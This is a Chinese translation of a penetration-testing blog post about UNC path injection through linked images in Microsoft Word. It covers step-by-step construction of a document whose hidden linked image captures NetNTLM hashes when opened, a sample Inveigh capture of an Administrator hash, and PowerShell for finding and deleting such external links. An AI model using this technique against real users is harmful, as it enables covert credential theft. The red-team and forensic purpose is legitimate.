使用圖像鏈接的UNC路徑注入
在滲透測試中,Microsoft Word一直是一個很優秀的攻擊媒介。從Web應用程序滲透測試到紅藍對抗,Word文檔可用於抓取NetNTLM散列或證明網路上的出口過濾不足。已經有很多大佬對Word作為攻擊媒介進行了大量的高質量研究。如果你至今還沒有機會嘗試過,趕緊來試試。首先要確保是通過netbiosX上的最新的博客通過框架捕獲NetNTLM散列。
會使用到的工具列表:
Burp Suite Pro
Inveigh
Responder
7zip
鏈接圖像
為了鏈接圖像,首先要打開「插入」選項卡並單擊「圖片」圖標。然後會將彈出資源管理器窗口。在文件名欄位中,輸入惡意URL並點擊插入下拉菜單選擇「鏈接到文件」。我們模擬一個客戶端來做個簡單的演示。
一旦鏈接,破碎的圖像可以縮小到沒有。如果這樣一個惡意文檔被用於紅藍對抗或社交類項目,你懂的~~
確保將更改保存到文檔中。現在,無論何時打開此文檔,Microsoft Word都會嘗試解析文檔中鏈接的圖像。這些請求記錄在Burp協作者客戶端中。
使用UNC路徑注入捕獲NetNTLM散列
保存該文件並使用7zip將其複製到word文檔中。
一旦用戶打開Word文檔,Inveigh或Responder將捕獲傳入的身份驗證請求。
PS C:> Invoke-Inveigh -NBNS N -LLMNR N -ConsoleOutput Y -IP 192.168.0.2
Inveigh 1.3.1 started at 2017-12-19T17:22:26
Elevated Privilege Mode = Enabled
WARNING: Windows Firewall = Enabled
Primary IP Address =
192.168.0.2
LLMNR Spoofer = Disabled
mDNS Spoofer = Disabled
NBNS Spoofer = Disabled
SMB Capture = Enabled
WARNING: HTTP Capture Disabled Due To In Use Port 80
HTTPS Capture = Disabled
Machine Account Capture = Disabled
Real Time Console Output = Enabled
Real Time File Output = Disabled
WARNING: Run Stop-Inveigh to stop Inveigh Press any key to stop real time console output
2017-12-19T17:23:19 SMB NTLMv2 challenge/response captured from 192.168.0.3(DESKTOP-2QRDJR2):
Administrator::DESKTOP-2QRDJR2:57[TRUNCATED]cb:091[TRUNCATED]5BC:010[TRUNCATED]02E0032002E00310038003200000000000000000000000000
這種方法的最主要優點就是,最終用戶沒有任何跡象表明Word試圖連接到惡意的URL或UNC路徑。一旦文檔被打開,並且在啟動時沒有顯示URL或UNC路徑,就會發出請求。
使用PowerShell對關聯目標進行枚舉
上面描述的方法很簡單,但卻非常強大,因為它濫用了Microsoft Office中可信的固有功能。本節介紹了兩種非常簡單的枚舉關聯目標的方法,而不使用7zip。有很多取證工具集可以更有效地執行這些工作,例如Yara,這絕不是一個全面的取證方法。
Word.Application COM對象可用於訪問Word文檔的內容。這可以通過幾個簡單的命令來實現。WordOpenXML屬性包含文檔中的關係。
$file = "C:path odoc.docx"
$word = New-Object -ComObject Word.Application
$doc = $word.documents.open($file)
$xml = New-Object System.XML.XMLDocument
$xml = $doc.WordOpenXML
$targets = $xml.package.part.xmlData.Relationships.Relationship
$targets Format-Table
$word.Quit()
這將成功列舉文檔中的所有關係以及相應的目標。這裡的問題是,當使用Word.Application COM對象時,將啟動Word進程並解析URL / UNC路徑。
為了避免這種情況,我們可以使用DocumentFormat.OpenXML庫並枚舉文檔中的所有外部關係。在測試過程中,沒有使用此方法捕獲模擬客戶端的請求或身份驗證請求。
[System.Reflection.Assembly]::LoadFrom("C:DocumentFormat.OpenXml.dll")
$file = "C:path odoc.docx"
$doc = [DocumentFormat.OpenXml.Packaging.WordprocessingDocument]::Open($file,$true)
$targets = $doc.MainDocumentPart.ExternalRelationships
$targets
$doc.Close()
我們可以更進一步地使用DeleteExternalRelationship方法將通過提供關係id來移除與外部URL的關係。
$doc.MainDocumentPart.DeleteExternalRelationship("rId4")
參考
https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/
翻譯者:安識科技吃雞大王
翻譯原文:https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/
TAG:SecPulse安全脈搏 |